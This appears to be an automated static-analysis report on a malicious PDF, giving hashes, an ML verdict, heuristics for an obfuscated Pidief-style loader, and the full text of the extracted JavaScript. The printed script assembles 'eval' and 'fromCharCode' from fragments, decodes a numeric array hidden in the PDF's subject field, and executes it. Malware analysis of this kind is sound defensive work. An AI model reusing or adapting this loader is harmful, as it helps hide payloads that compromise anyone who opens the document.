Malicious PDF — malware analysis report

Static analysis result for SHA-256 eec28219dfc6e423…

MALICIOUS

PDF

45.1 KB Authoring application: substr First seen: 2026-05-09
MD5: c68ad16155fc9e4502f8634381995a4e SHA-1: 4687d7ef240a4622e860c14de6e9d82dfdbfa06a SHA-256: eec28219dfc6e423757dcfd3dd08c394b0205f9bd10c7bc8ed932dd9d4fdb410
86 Risk Score

Malware Insights

The PDF file was flagged as malicious by an ML classifier with very high confidence. Static analysis identified embedded JavaScript, which is often used to download and execute further payloads. The presence of JavaScript actions and embedded JS streams strongly suggests an attempt to exploit vulnerabilities or deliver malware. The file's SHA256 hash is included as a primary IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1D2 446 bytes
SHA-256: 298605957a2c0a9e1a74f53ca771d56d07bcc402a07b4092ae76f73e6f7f2a95
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
dzfp=e('ti'.concat(v[4],t));
q=dzfp[v](a.length-6,a.length+2);
lyy=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=dzfp[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	ibkjp = 1*(q[i]);
	i++;
	ibkjp -= (-1)*(q[i]);
	s2 = s2.concat(lyy(ibkjp));
	i++;
}
e(s2);

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